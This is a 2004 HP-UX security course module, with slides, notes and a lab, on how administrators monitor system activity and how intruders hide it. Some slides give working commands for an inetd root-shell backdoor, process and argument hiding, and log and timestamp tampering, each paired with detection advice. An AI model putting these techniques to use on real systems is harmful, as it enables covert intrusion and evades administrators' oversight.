? 2691 root 152 20 214M 9180K run 10:11 0.27 0.27 prm3d
? 2284 root 152 20 13768K 2132K run 0:04 0.20 0.20 dmisp
? 3547 root 152 20 13652K 1600K run 0:20 0.16 0.16 rep_server
? 3548 root 152 20 12880K 988K run 0:13 0.16 0.16 agdbserver
? 3549 root 152 20 12968K 1412K run 0:28 0.12 0.12 alarmgen

Student Notes
Once a hacker determines who is logged onto a target system, he or she will attempt to
determine what programs and applications are running on the system , too. There are many
performance tools, such as ps, top, and glance, which provide process information.

The system administrator can use these same commands to monitor system activity, too. If
you see unrecognized processes, or processes using an excessive amount of system
resources, it may be worth investigating who is running the processes, and why.

The UNIX95=true variable preceding the ps command enables the use of XPG4 ps
command enhancements. The –H enhanced option displays the ps output as a hierarchical
process tree.

H3541S D.02 9-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–6. SLIDE: Monitoring File Access

Monitoring File Access

Use ll to check file timestamps.

# ll /etc/passwd Display modification “mtime” timestamps
# ll –u /etc/passwd Display access “atime” timestamps
# ll –c /etc/passwd Display inode change time “ctime” timestamps

Use fuser and lsof to determine which processes are currently using a file.

# fuser /etc/passwd
/etc/passwd: 2657o

# lsof /etc/passwd
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Crack 2525 root 11r REG 64,0x3 842 2204 /etc/passwd

Student Notes
A hacker may also find it interesting to investigate which files are currently, or were recently,
in use on the target system.

HP-UX maintains three time stamps for each file and directory on an HP-UX system. These
time stamps, which may be viewed using various options on the ll command, can help you
determine which files may have been accessed or modified.

# ll /etc/passwd Display modification “mtime” timestamps

# ll –u /etc/passwd Display access “atime” timestamps
# ll –c /etc/passwd Display inode change time “ctime” timestamps

Unfortunately, as you will see later in the chapter, anyone with write permission can change
the mtime and atime timestamps on a file, so the ll and ll -u output is unreliable once a
hacker gains root access. The touch command can reset a file’s ctime, too, but to the
current time, so it is perhaps the most reliable of the three.

http://education.hp.com 9-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

To determine which files are currently in use, use the standard HP-UX fuser command.
The output below suggests that PID 2657 currently has the /etc/passwd file “o”pen.

# fuser /etc/passwd
/etc/passwd: 2204o

The contributed software lsof (list open files) command provides similar, but much more
detailed information. If you execute lsof without any options or arguments, it displays a list
of all processes that have open files. lsof supports dozens of options for formatting and
sorting the process and file list.

# lsof /etc/passwd
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Crack 2525 root 11r REG 64,0x3 842 2204 /etc/passwd

H3541S D.02 9-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–7. SLIDE: Monitoring Network Connections

Monitoring Network Connections

Monitor the netstat output for connections to and from unusual hosts.
# netstat -f inet
Active Internet connections
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp 0 0 corpsvr.telnet chicago.48760 ESTABLISHED
tcp 0 0 corpsvr.telnet 192.1.1.1.40001 ESTABLISHED
tcp 0 0 corpsvr.ftp oakland.45677 ESTABLISHED

Use idlookup to determine which users initiated suspicious connections

# idlookup 192.1.1.1 40001 telnet
Identifier: joehack
Opsys: UNIX

Use lsof to determine which daemon is using each socket.

# lsof –i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
inetd 1914 root 6u inet 0t0 TCP *:telnet (LISTEN)
telnetd 7865 root 0u inet 0t0 TCP svr:telnet->hacker:52850 (EST)

Student Notes
Hackers may wish to monitor network connections to a target system, too. Several
commands are available for this purpose.

netstat -f inet
The netstat command is a simple tool for monitoring currently established network
connections. Get in the habit of checking the "Foreign Address" column of the netstat
output for unusual hostnames. If your hosts typically only communicate with other internal
hosts, investigate connections that appear to come from unknown external hosts. IP
addresses that cannot be resolved to hostnames (like 192.1.1.1 in the slide) deserve special
scrutiny.

idlookup
If you notice a connection from an unusual host, you can use the idlookup command to
determine the userid of the perpetrator on the external host. Simply provide the foreign
host's IP address and port number, and the service name as arguments. Note, however, that
idlookup uses the "ident" protocol, and will only succeed if the foreign host has identd
configured in /etc/inetd.conf.

http://education.hp.com 9-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

lsof
The contributed software lsof command can also be used to monitor current network
connections. Simply include the –i option. In the example below, we see that the inetd
daemon is LISTENing for connection requests on telnet port#23. A telnetd daemon is also
servicing an ESTABLISHED connection to the telnet port from port 52850 on a node named
hacker.

# lsof –i
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
inetd 1914 root 6u inet 0x4265f4c0 0t0 TCP *:telnet (LISTEN)
telnetd 7865 root 0u inet 0x459c0dc0 0t0 TCP svr:telnet-
>hacker:52850 (ESTABLISHED)

H3541S D.02 9-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–8. SLIDE: Monitoring inetd Connections

Monitoring inetd Connections

Enable inetd network connection logging.

# inetd –l
# vi /etc/rc.config.d/netdaemons
INETD_ARGS=-l

Watch for unusual inetd connection requests in syslog.log.

# tail –f /var/adm/syslog/syslog.log
May 7 inetd[1914]: Connection logging enabled
May 7 inetd[28390]: telnet/tcp: Connection from hacker.com
May 7 inetd[28394]: ftp/tcp: Connection from hacker.com
May 7 inetd[28395]: registrar/tcp: Connection from hacker.com
May 7 inetd[28397]: login/tcp: Connection from hacker.com
May 7 rlogind[28397]: Login failure (exit(1) from login(1))
May 7 inetd[28402]: shell/tcp: Connection from hacker.com

Student Notes
The Internet services daemon (inetd) invokes Internet server processes to handle incoming
connection requests for a variety of network services. It must be running before other hosts
can connect to the local host through ftp, rcp, remsh, rlogin, telnet, and a variety of
other services. The inetd daemon is designed to invoke all the Internet servers as needed,
to reduce the load on the system. It is normally started at system boot time.

inetd Logging
By default, inetd starts with connection logging disabled. The -l option enables inetd
connection logging. When connection logging is enabled, inetd logs attempted Internet
service connections to /var/adm/syslog/syslog.log.

Watch for connection requests from unknown hosts, and repeated failed connection requests.

http://education.hp.com 9-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Enabling Connection Logging

The inetd –l command toggles logging on and off. If logging is currently disabled, you can
enable it immediately by typing:

# inetd –l

To ensure that inetd logging is enabled after every reboot, edit the
/etc/rc.config.d/netdaemons file, and set the INETD_ARGS variable to -l.

# vi /etc/rc.config.d/netdaemons
INETD_ARGS=-l

H3541S D.02 9-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–9. SLIDE: Monitoring /var/adm/syslog/syslog.log

Monitoring
/var/adm/syslog/syslog.log

syslog.log collects errors and warnings from a variety of services and daemons.
Watch for suspicious activity.

# tail –f /var/adm/syslog/syslog.log
May 5 14:26:05 r848c61 /usr/local/bin/sudo: user1 : TTY=pts/0 ;
PWD=/home/user1 ; USER=root ; COMMAND=/usr/bin/passwd root
May 5 14:26:15 r848c61 /usr/local/bin/sudo: user1 : TTY=pts/0
; PWD=/home/user1 ; USER=root ; COMMAND=/usr/sbin/useradd hack
May 5 15:23:24 r848c61 rlogind[11091]: Login failure (exit(127)
from login(1))
May 5 17:01:43 r848c61 su: - ta user1-root
May 5 17:01:51 r848c61 su: - ta user1-uucp

Student Notes
The syslog service is a general-purpose logging facility that logs messages from a variety of
daemons and services. Individual daemons and services can send their log messages to the
syslogd daemon, which then writes the messages to various files, devices, or terminals,
depending on the sender of the message, the severity of the message, and the configuration
defined in /etc/syslog.conf.

By default, syslogd sends most messages to the /var/adm/syslog/syslog.log file.

Watch this file for unusual activity.

http://education.hp.com 9-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–10. SLIDE: Configuring syslogd Logging (1 of 2)

Configuring syslogd Logging (1 of 2)

The syslogd daemon can send syslog messages to a variety of destinations.

Consider sending syslogd messages to a printer or remote syslogd server.

syslog.log
Where should I send my
syslog messages?
mail.log

inetd

su syslogd

sudo

syslog.log
sendmail

Student Notes
Many different system daemons and utilities, including inetd, su, sudo, and sendmail
among others, log messages via the syslogd daemon. Messages are sent to syslogd via
three mechanisms:

• /dev/klog. A special device file used to read messages generated by the kernel.
• /dev/log. The UNIX domain socket, used to read messages generated by processes
running on the local machine.
• UDP port 514. The Internet domain socket, used to read messages generated over the
local area network from other machines.

Applications use the syslog library call to post messages to the log file. Users can use the
logger command to post messages to the syslogd file. The –p option determines the
message’s priority level. Priority levels are described in detail on the next page.

# logger –p crit “critical problem detected”

H3541S D.02 9-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

When syslogd starts up, it reads its configuration file, /etc/syslog.conf, to determine
what kinds of events it should log, and where they should be logged to. By default, syslogd
writes most messages to the /var/adm/syslog/syslog.log file. syslogd writes
sendmail messages to /var/adm/syslog/mail.log. syslogd can also be configured
to forward messages to the system console, a local printer device file, or even another
server’s syslogd daemon.

The next slide describes the /etc/syslog.conf configuration file in detail.

http://education.hp.com 9-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–11. SLIDE: Configuring syslogd Logging (2 of 2)

Configuring syslogd Logging (2 of 2)

Edit the /etc/syslog.conf file to specify where messages should be sent.

# vi /etc/syslog.conf
*.info /var/adm/syslog/syslog.log (send messages to a file)
*.alert /dev/console (send messages to the console)
*.alert /dev/printer (send messages to a printer)
*.alert @remotehost (send messages to another server)
*.alert root (send messages to root’s terminal)
*.emerg * (send messages to all terminals)

# kill –HUP $(cat /var/run/syslog.pid)

Student Notes
The /etc/syslog.conf file determines what kinds of events syslogd should log, and
where they should be logged to. Each line in the /etc/syslog.conf file has three
components:

[facility].[priority] [action]

Facility Codes
Every entry in /etc/syslog.conf includes a facility subsystem code. When syslogd
receives a message, it looks for an entry in /etc/syslog.conf whose facility code
matches the message’s facility code. The available codes are defined in
/usr/include/syslog.h:

kern kernel messages

user random user-level messages
mail mail system
daemon system daemon
auth security/authorization messages
syslog messages generated internally by syslogd

H3541S D.02 9-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

lpr line printer subsystem messages

news messages generated by the news system
uucp messages generated by the UUCP system
cron messages generated by the cron daemon

An “*” in an /etc/syslog.conf file entry matches all facility codes.

Priority Levels
Every entry in /etc/syslog.conf includes a priority code. When syslogd receives a
message, it looks for an entry in /etc/syslog.conf whose facility code matches the
message’s facility code. The available codes are defined in /usr/include/syslog.h:

emerg system is unusable

alert action must be taken immediately
crit critical condition
err error conditions
warning warning conditions
notice normal but signification
info informational
debug debugging information

Actions
The action field in an /etc/syslog.conf file entry determines what syslogd does with
messages that match the entry’s facility and priority fields. syslogd recognizes several
actions:

/var/adm/syslog/syslog.log send messages to the named file

/dev/console send messages to the console
/dev/printer send messages to the /dev/printer device
@remotehost forward messages to the named host’s syslogd
root send messages to root’s terminal device
* send messages to all terminal devices

When syslogd Receives a Message…

When syslogd receives a message, it compares the message’s priority level with the priority
levels listed in /etc/syslog.conf. Every /etc/syslog.conf entry that has matching
facility code and a priority level equal or lower than the message’s priority level, it performs
the actions specified in the matching entries. If the message matches multiple records,
syslogd performs all of the associated actions.

Modifying /etc/syslog.conf
You can make changes to /etc/syslog.conf if you wish. On particularly sensitive
systems, you may want to configure syslogd to log messages to a printer, or to another
system’s syslogd daemon to make it more difficult for hackers to compromise your
system’s log information. If you forward syslogd messages to another system’s syslogd,
make sure that system doesn’t forward messages back to the first system; the resulting
endless loop may fill your /var file system!

http://education.hp.com 9-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

After editing the /etc/syslog.conf file, send the HUP signal to the syslogd process to
force it to re-read its configuration file.

# kill –HUP $(cat /var/run/syslog.pid)

H3541S D.02 9-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–12. SLIDE: Monitoring Log Files with swatch

Monitoring Log Files with swatch

Consider using swatch to monitor log files automatically.

/usr/local/etc/swatch.syslog.conf

/telnet/ echo=inverse
/su/ echo=inverse
/.*/ echo

# swatch –c /usr/local/etc/swatch.syslog.conf \
–f /var/adm/syslog/syslog.log

May 17 inetd[29451]: telnet/tcp: Connection from localhost

May 17 inetd[29470]: ftp/tcp: Connection from localhost
May 17 ftpd[29470]: User hubert: Login incorrect
May 17 ftpd[29470]: FTP session closed
May 17 su: + tb root-root

Student Notes
swatch is a simple program written in the Perl programming language that is designed to
monitor log files. The program scans log files, watches for the unusual activity, and takes
appropriate action when a suspicious log entry is identified. Such actions might include
sending a mail message to root, printing a message on a screen, or running a program.
swatch helps automate the monitoring of log files and allows a lot of flexibility.

The swatch Configuration File

A configuration file controls swatch's operation. Each line of the file has four fields in the
following format:

/pattern/[,/pattern/,…] action[,action,…] [[[HH:]MM:]SS] [start:length]

The first field specifies the pattern that is scanned for on each line of the log file. The pattern
is in the form of a Perl regular expression. If more than one pattern is specified, then a match
on either pattern signifies a match. The second field specifies an action to be taken each time
the pattern in the first field is matched.

http://education.hp.com 9-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

The third and fourth fields are optional. If a time is specified, then swatch does not alert
when identical lines are sent to the log file within the specified period of time. The fourth
field specifies the location of the timestamp within the log file.

Patterns in the swatch configuration file

When the swatch utility is started, it reads a configuration file to determine what patterns to
search for in the log file in question, and what to do when those patterns are found. Patterns
in the swatch configuration file are represented via regular expressions. Some simple
swatch configuration file entries are shown below:

/su/ echo echo all lines containing "su"

/FTP|telnet/ echo echo all lines containing "FTP" or "telnet"
/root$/ echo echo all lines ending in "root"
/^root/ echo echo all lines beginning with "root"
/su.*root/ echo echo lines containing su & root
/su.*(root|guest)/ echo echo lines containing "su" & either "root" or "guest"
/.*/ echo echo all lines

See the regexp(5) man page for more information about regular expressions.

Actions in the swatch configuration file

The second component of each line in the swatch configuration file defines an action to
perform if a matching line in the log file is found. swatch recognizes several actions:

/su/ echo echo the matching line to the screen

/su/ echo=inverse echo the matching line in inverse video
/su/ echo=bold echo the matching line in bold face type
/su/ echo=underscore echo the matching line in underline mode
/su/ echo,bell=3 echo message and ring the terminal bell three
times
/su/ ignore ignore all lines matching this pattern
/su/ mail=root:dba:hubert mail the line to users root and dba
/su/ exec=/opt/pager 1112222 pipe the message to another program

Running swatch
You can run swatch in several different modes. This first example uses the –f option to
make a single pass through the syslog.log file looking for lines that match patterns in the
swatch configuration file.

# swatch -c /usr/local/etc/swatch.syslog.conf \
-f /var/adm/syslog/syslog.log >/dev/console

This second example uses the tail command to examine the last few lines in syslog.log,
then continues to monitor the log file indefinitely as new lines that are appended.

# swatch -c /usr/local/etc/swatch.syslog.conf \
-t /var/adm/syslog/syslog.log >/dev/console &

H3541S D.02 9-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

If you want to analyze the output from a command rather than the contents of a log file, use
the –p option to pipe output into swatch.

# swatch -c /usr/local/etc/swatch.wtmp.conf \
-p /usr/bin/last

Note that each instance of swatch only monitors a single log file. Thus, if you want to
monitor several log files concurrently, you should create a separate config file, and run a
separate swatch daemon for each log

http://education.hp.com 9-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–13. SLIDE: Hiding System Activity

Hiding System Activity

Though log files are useful, beware that hackers often subvert logging mechanisms.

To avoid getting caught, I will…

• Make as few tracks as possible!
• Erase tracks!
• Make tracks confusing!

Student Notes
When a hacker is on a system, he will attempt to (a) make as few tracks as possible, and (b)
erase as many of the tracks as possible. The hacker also needs to make the tracks that have
been left behind as confusing as possible. The longer it takes the system administrator to
follow the tracks, the longer the hacker has to accomplish his or her goal.

The amount of effort needed to cover up tracks depends on the level of monitoring the
system receives from its system administrator. If there is minimal monitoring, the hacker
need only log in and run processes when no one else is on the system. If there is heavy
monitoring, the hacker has to tread lightly and use special tools and utilities to cover his or
her tracks.

H3541S D.02 9-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–14. SLIDE: Connection Hiding

Connection Hiding

I’ll add a csh –i entry to /etc/inetd.conf so I can

access my target as root without appearing in utmp or
wtmp!

Configure the backdoor on the target:

# vi /etc/services
hackshell 24/tcp
# vi /etc/inetd.conf
hackshell stream tcp nowait root /usr/bin/csh csh –i

Exploit the backdoor:

# telnet target.com 24
# who

No evidence of the session

appears in the who or last output!

Student Notes
Most connection monitoring and reporting programs use log files such as the utmp file to
determine which users are logged in, the wtmp file for historic logins and logouts, and the
btmp file for bad login attempts. There are a few ways a hacker can bypass these logging
mechanisms.

Non-interactive C Shell
A non-interactive shell is a shell that does not have a tty device attached to it. It is used
primarily to run background jobs, although it can be used to run foreground jobs, too. It
cannot run processes that require tty control, such as editors. Since it does not associate a
tty, it does not create an entry in the utmp file. A non-interactive C shell is invoked as
follows:

# /usr/bin/csh –i

http://education.hp.com 9-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

If a hacker can add a csh –i entry to the /etc/inetd.conf and /etc/services file,
the hacker can telnet to that service’s port at any time and gain access to a shell with root
privileges.

# vi /etc/services
hackshell 24/tcp
# vi /etc/inetd.conf
hackshell stream tcp nowait root /usr/bin/csh csh –i

Solution
If your /etc/inetd.conf and /etc/services files are properly secured, hackers can’t
add new services like this.

Also, although this type of connection wouldn’t appear in the utmp or wtmp logs, you would
see the connection in the netstat –a output, and the csh process in the output from top
or ps.

H3541S D.02 9-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–15. SLIDE: Process Hiding

Process Hiding

I’ll exec an innocuously named process over my login shell

so the administrator doesn’t know what I’m doing on the
system!

# cd /tmp
# cp /usr/bin/sh ./ls
# PATH=.:$PATH
# exec ls
# ps –e
27275 pts/ta 0:00 ls

All the administrator

sees in the ps output is
a fairly innocuous ls
command – not a
login shell!

Student Notes
After establishing a connection to your system, hackers may hide or obscure processes that
they run.

In the example on the slide, the hacker copies the POSIX shell executable, /usr/bin/sh, to
./ls. The PATH variable is set to check the present working directory first. The hacker
executes the exec command in order to run the POSIX shell disguised as the ls command.
The bogus ls process overwrites the parent shell. If a system administrator runs the ps
command, she will see an innocuous looking ls process running, rather than an interactive
shell.

# cd /tmp
# cp /usr/bin/sh ./ls
# PATH=.:$PATH
# exec ls
# ps –e
27275 pts/ta 0:00 ls

http://education.hp.com 9-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Hackers often use non-threatening filenames for their tools. The name may even be the same
as a standard UNIX command so that it doesn't look suspicious when it is seen running. If a
hacker installs Crack on your system, don’t expect the process to be called “Crack”! Some
hackers install a modified version of the ps command, that does not report the processes
executed by the hacker’s UID.

H3541S D.02 9-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–16. SLIDE: Argument Hiding (1 of 2)

Argument Hiding (1 of 2)

I’ll use I/O redirection so the administrator can’t see which

files I’m accessing!

# more </etc/passwd
# ps –ef
root 28584 27276 0 12:36:14 pts/ta 0:00 more

The administrator sees

the more command,
but not the arguments
that were passed
to the command!

Student Notes
Hackers may attempt to hide arguments passed to applications, too. In the example on the
slide, the hacker has redirected input to the more command from the /etc/passwd file.
The ps command reports that the more command is running, but doesn’t report the file that
the hacker is viewing.

# more </etc/passwd
# ps –ef
root 28584 27276 0 12:36:14 pts/ta 0:00 more

The IDS/9000 product, which is described in another chapter, monitors file access system
calls for a more authoritative view of the files accessed by your users.

http://education.hp.com 9-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

9–17. SLIDE: Argument Hiding (2 of 2)

Argument Hiding (2 of 2)

Because the process table allocates a fixed amount of space

to store command strings, the administrator will only be able
to see the first portion of each command I type!

# more ‘ ‘ /etc/passwd
# ps –ef
root 28584 27276 0 12:36:14 pts/ta 0:00 more

The administrator sees

the more command,
but not the arguments
that were passed
to the command!

Student Notes
Some reporting commands truncate the options and parameters passed to a command if a
command string is too long. In the example on the slide, the hacker cleverly precedes the
/etc/passwd argument with a long string of spaces. The ps command only reports the first
part of the command line, so the administrator will never know that the hacker was actually
viewing the /etc/passwd file.

# more ' ' /etc/passwd

H3541S D.02 9-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–18. SLIDE: Doctoring Log Files

Doctoring Log Files

If the administrator doesn’t set log file permissions properly,

I can erase evidence of my activity!

# vi /var/adm/syslog/syslog.log
May 7 inetd[28390]: telnet/tcp: Connection from hacker.com
# zap hacker
# who
hacker pts/td May 7 09:43
root pts/ta May 7 09:42
user1 pts/tb May 6 08:45 Log entries removed
user2 pts/tc May 3 11:22 from utmp and syslog.log!
user3 pts/td May 7 12:01

Student Notes
It is nearly impossible for a hacker to spend time on a system without leaving some tracks in
the system log files. It is quite common for hackers to attempt to modify, falsify, or remove
these tracks.

Some of the log files, like /var/adm/syslog/syslog.log and /var/adm/sulog are

simple text files. A hacker can edit these files with a text editor to remove the evidence of his
or her tracks. Other logs are binary files that cannot be edited with a text editor. Since the
format of binary log files like /var/adm/wtmp and /var/adm/btmp is well known, hackers
have developed tools to modify these files.

Removing /etc/umtp Entries with zap

Hackers use the zap contributed software tool, for instance, to remove all traces of their
login activity from a target's /var/adm/wtmp and /var/adm/btmp files:

# zap hacker

After executing zap, last and who show no evidence of hacker logins!

http://education.hp.com 9-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Modifying /etc/utmp Entries with fwtmp

fwtmp, a standard tool that is included with HP-UX, may be used to modify entries in the
/etc/utmp file:

# /usr/sbin/acct/fwtmp </etc/utmp >/tmp/who

# vi /tmp/who edit usernames listed in the first column
# fwtmp -ic </tmp/who >/etc/utmp

Using this procedure, the hacker can change usernames in the utmp log at will!

There are many other hacker tools on the Internet that provide similar functionality. For a
sampling of available “root kit” tools, take a look at
http://www.thenewbiesarea.com/unix.shtml. Be sure to obtain written
permission from your Manager before you download or install these tools!

Fortunately, none of these tools succeed if your /etc/utmp and /var/adm/wtmp

permissions are set properly!

H3541S D.02 9-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–19. SLIDE: Modifying Time Stamps

Modifying Time Stamps

I can use the touch command to change file time stamps

so the administrator doesn’t realize I made changes!

I might also change the system clock or timezone via

set_parms, or hack the NTP server to make my tracks more
difficult to follow!

# touch -mt 01011215 /etc/passwd

# ll /etc/passwd
-r--r--r-- 1 root other 2345 Jan 1 12:15 /etc/passwd

Note the modified

time stamp!

Student Notes
After a hacking incident, administrators typically attempt to reconstruct the sequence of
events that led to the incident. Hackers can complicate this process by changing log and file
timestamps so it is difficult to determine what happened when.

Changing File Timestamps

Anyone with write permission on a file can change the timestamp on that file via the touch
command. Hackers change file timestamps to make it more difficult for Administrators to
determine which files may have been altered. The example below changes the modification
time stamp on file /etc/passwd to January 1, 12:15pm:

# touch -mt 01011215 /etc/passwd

http://education.hp.com 9-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Changing the System Clock Directly

Altering the system clock alters the perception of time throughout the entire system. On
HP-UX, the date or set_parms commands are used to change the system clock. Root
access is required to do this.

# date 01011215 resets the system clock to January 1, 12:15pm

# set_parms date_time uses the set_parms GUI to reset the clock

Changing the System Clock via NTP

Many administrators use the Network Time Protocol (NTP) to synchronize system clocks on
a network. NTP clients regularly query one or more NTP servers to determine the official
time, then synchronize their system clocks accordingly. If a hacker manages to compromise
an NTP server, he may also adjust the system clocks on that server's NTP clients, too. NTP is
also vulnerable to spoofing if the client administrators choose not to configure NTP
authentication.

Changing the TIMEZONE Variable

The TIMEZONE variable is used by some programs to display and calculate the time. A
hacker may change the value of this variable to make it appear as if something happened at a
different time than it actually did. In HPUX, the TIMEZONE variable is initially set in the
/etc/TIMEZONE file. The file may be modified using any editor, or by executing
set_parms.

# set_parms timezone

H3541S D.02 9-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

9–20. LAB: Monitoring and Hiding System Activity

Directions
Carefully follow the instructions below.

Part I: Compiling lsof

Later in the lab you will be asked to run the lsof contributed software tool. Download,
compile, and install the utility now before proceeding.
1. Download the lsof source code from
ftp://ftp.cerias.purdue.edu/pub/tools/unix/sysutils/lsof/ to your
/tmp directory. For the purposes of this class, you can simply copy the file from the
/labs directory.

# cp /labs/lsof/lsof_*.tar.gz /tmp

2. Unzip and untar the source files. (lsof is oddly packaged as a tarball within a tarball
within a gzip archive. Follow the directions below carefully!)

# cd /tmp
# gzip –d /tmp/lsof_*.tar.gz
# tar –xvf /tmp/lsof_*.tar
# cd /usr/local/src
# tar –xvf /tmp/lsof_*/lsof_*src.tar

3. cd to the lsof source directory.

# cd /usr/local/src/lsof_*

4. Configure and compile lsof.

# ./Configure hpuxgcc
Do you want to take inventory (y|n) [y]? y
Do you want to customize (y|n) [y]? n
# make

5. Move the lsof files into place (make sure your PATH variable uses
/usr/local/bin/install rather than /usr/sbin/install).

# install –m 555 –o root –g bin –d /usr/local/man/man8

# install –m 555 –o root –g bin –d /usr/local/sbin
# install –m 444 –o root –g sys lsof.8 /usr/local/man/man8
# install –m 500 –o root –g sys lsof /usr/local/sbin
6. Add /usr/local/sbin to your PATH and run lsof to verify that the tool works!

# PATH=/usr/local/sbin:$PATH
# lsof
# man lsof

http://education.hp.com 9-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

Part II: Log Files

1. What command can you execute to determine which users are currently logged into your
system from remote hosts?

Answer:

2. What command can you execute to determine which users have previously logged into
your system from remote hosts?

Answer:

3. Have any users on your system used the su command? Have there been any failed su to
root attempts?

Answer:

4. Heavy CPU usage by unrecognized processes may indicate hacker activity. How can you
determine which processes on your system are consuming the most CPU time?

Answer:

5. Are any users or processes currently accessing your /etc/passwd file? How can you
find out?

Answer:

H3541S D.02 9-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

6. Initiate a telnet session to your instructor’s system and login as root. What command
can you execute on the instructor system to determine what network services currently
have established TCP connections to or from other hosts? Do you see your connection?

Answer:

7. From the instructor system, can you determine the PID of the telnetd server process
that is managing the telnet session? Do whatever is necessary to kill that process to
terminate the “suspicious” connection.

Answer:

8. Exit out of your telnet session to return to your localhost.

# exit

9. Enable inetd logging on your localhost.

Answer:

10. telnet to your localhost twice. Intentionally mistype your password several times so
the login fails. Then try again, and type your password successfully so the login
succeeds. Does the /var/adm/syslog/syslog.log file indicate which host
requested each connection? Does it indicate which user requested each connection?
Does it indicate if the telnet requests were successful? Explain!

Answer:

11. You learned earlier in the chapter that hackers sometimes doctor log files to remove
evidence of their activities. Configure your syslogd daemon such that info priority
messages and higher are recorded not only in your local syslog.log file, but also on
the instructor’s system.

Answer:

http://education.hp.com 9-37 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 9
How the Hacker Monitors and Hides System Activity

12. ftp your localhost to generate an inetd log message to syslogd. Then telnet to the
instructor system to see if an entry was added to the instructor’s
/var/adm/syslog/syslog.log file.

# ftp localhost

Answer:

Part III: Monitoring Log Files with swatch

1. Download a copy of the swatch software from the
http://www.cerias.purdue.edu web site, to the /tmp directory. For the purposes
of the lab exercise, you can simply copy swatch from the /labs/swatch directory.

# cp /labs/swatch/swatch*.tar /tmp

2. cd to the /usr/local/src/swatch directory, and untar the swatch tarball.

# cd /usr/local/src
# tar –xvf /tmp/swatch*.tar
# cd swatch*
# more README

3. cd to the new swatch directory and install the swatch product.

# cd /usr/local/src/swatch*
# ./install.sh

swatch binary location: /usr/local/bin

swatch owner: root
swatch group: sys
swatch program permissions: 755
swatch data file permissions: 444
Perl library location: /opt/perl/lib/5.6.1
swatch library location: /usr/local/lib
swatch man page location: /usr/local/man
swatch program man page extension: 8
swatch configuration file man page extension: 5

4. The path name for the tail command in /usr/local/bin/swatch is incorrect for
HP-UX. Modify the path for tail on line 47 of the program:

# vi /usr/local/bin/swatch
$TAIL = '/usr/bin/tail -f';

H3541S D.02 9-38 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 9
How the Hacker Monitors and Hides System Activity

5. Verify the swatch man pages were installed correctly.

# man 8 swatch
# man 5 swatch

6. Create a swatch configuration file that defines what to monitor. Important note: swatch
requires a tab character between the pattern and action. Use the tab key, not the space
bar!

# vi /usr/local/etc/swatch.syslog.conf
# Report any line which ends with root (su to root acct)
/root$/ echo=inverse,bell=3
# Report all connections established by inetd
/Connection from/ echo,bell=3
7. Start the swatch monitor in the background

# swatch –c /usr/local/etc/swatch.syslog.conf \
-t /var/adm/syslog/syslog.log &

8. In a second window, test the swatch monitoring program:

• Use the su command to switch from root-to-user1 (no message should be sent).
• Use the su command to switch from user1-to-root (message should be sent).
• Use telnet to re-establish a network connection to the localhost (message sent).
9. (Optional) Other swatch Customizations:

a. What would you have to add to the swatch.conf file to automatically highlight all
FTP connection requests? Make and test the change.
(Be sure to kill and restart swatch after you modify the configuration file)

